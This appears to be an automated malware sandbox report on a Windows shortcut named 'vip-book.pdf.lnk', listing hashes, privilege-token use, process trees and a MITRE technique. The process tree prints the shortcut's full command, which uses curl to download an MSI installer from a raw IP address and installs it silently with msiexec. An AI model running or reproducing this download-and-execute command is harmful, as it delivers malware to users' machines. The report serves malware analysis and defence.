3aa8199d973e136fef73bdca391b460b7498c3625d9c0ffd607df325425bf85e

Analysis

max time kernel
117s
max time network
119s
platform
windows7_x64
resource
win7-20230712-en
resource tags

arch:x64arch:x86image:win7-20230712-enlocale:en-usos:windows7-x64system
submitted
21/08/2023, 09:18

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

vip-book.pdf.lnk
Size

1KB
MD5

2684b795956953dd9dc655520799752a
SHA1

0d5c33dc4bd5bac37ecbd5b7c99135242328317c
SHA256

e224b77fedf4ccdfde9711bee8fada7571612ee4cf5121515ead913da5755b5e
SHA512

5bd3a8f4eb5776713ecbe8f47233cd93bb8cd972603e44cded8732acd8a0003ab792cb1e5bc778559caeaed5bd145083a1655ffec41140d96b7868727933d390

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs

pid	Process
2124	msiexec.exe

Suspicious use of AdjustPrivilegeToken 34 IoCs

description	pid	Process
Token: SeShutdownPrivilege	2124	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2124	msiexec.exe
Token: SeRestorePrivilege	2792	msiexec.exe
Token: SeTakeOwnershipPrivilege	2792	msiexec.exe
Token: SeSecurityPrivilege	2792	msiexec.exe
Token: SeCreateTokenPrivilege	2124	msiexec.exe
Token: SeAssignPrimaryTokenPrivilege	2124	msiexec.exe
Token: SeLockMemoryPrivilege	2124	msiexec.exe
Token: SeIncreaseQuotaPrivilege	2124	msiexec.exe
Token: SeMachineAccountPrivilege	2124	msiexec.exe
Token: SeTcbPrivilege	2124	msiexec.exe
Token: SeSecurityPrivilege	2124	msiexec.exe
Token: SeTakeOwnershipPrivilege	2124	msiexec.exe
Token: SeLoadDriverPrivilege	2124	msiexec.exe
Token: SeSystemProfilePrivilege	2124	msiexec.exe
Token: SeSystemtimePrivilege	2124	msiexec.exe
Token: SeProfSingleProcessPrivilege	2124	msiexec.exe
Token: SeIncBasePriorityPrivilege	2124	msiexec.exe
Token: SeCreatePagefilePrivilege	2124	msiexec.exe
Token: SeCreatePermanentPrivilege	2124	msiexec.exe
Token: SeBackupPrivilege	2124	msiexec.exe
Token: SeRestorePrivilege	2124	msiexec.exe
Token: SeShutdownPrivilege	2124	msiexec.exe
Token: SeDebugPrivilege	2124	msiexec.exe
Token: SeAuditPrivilege	2124	msiexec.exe
Token: SeSystemEnvironmentPrivilege	2124	msiexec.exe
Token: SeChangeNotifyPrivilege	2124	msiexec.exe
Token: SeRemoteShutdownPrivilege	2124	msiexec.exe
Token: SeUndockPrivilege	2124	msiexec.exe
Token: SeSyncAgentPrivilege	2124	msiexec.exe
Token: SeEnableDelegationPrivilege	2124	msiexec.exe
Token: SeManageVolumePrivilege	2124	msiexec.exe
Token: SeImpersonatePrivilege	2124	msiexec.exe
Token: SeCreateGlobalPrivilege	2124	msiexec.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 2080 wrote to memory of 2260	2080	cmd.exe	29
PID 2080 wrote to memory of 2260	2080	cmd.exe	29
PID 2080 wrote to memory of 2260	2080	cmd.exe	29
PID 2260 wrote to memory of 2124	2260	cmd.exe	30
PID 2260 wrote to memory of 2124	2260	cmd.exe	30
PID 2260 wrote to memory of 2124	2260	cmd.exe	30
PID 2260 wrote to memory of 2124	2260	cmd.exe	30
PID 2260 wrote to memory of 2124	2260	cmd.exe	30

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\vip-book.pdf.lnk
1⤵
- Suspicious use of WriteProcessMemory
PID:2080
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c echo juK & echo SHl & echo cG & echo jX & curl -o C:\Users\Admin\AppData\Local\Temp\hhlojhlc.msi http://107.181.161.200:443/msihhlojhlc & msiexec /i C:\Users\Admin\AppData\Local\Temp\hhlojhlc.msi /quiet /qn
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2260
- - C:\Windows\system32\msiexec.exe
    msiexec /i C:\Users\Admin\AppData\Local\Temp\hhlojhlc.msi /quiet /qn
    3⤵
    - Suspicious behavior: CmdExeWriteProcessMemorySpam
    - Suspicious use of AdjustPrivilegeToken
    PID:2124

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:2792

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads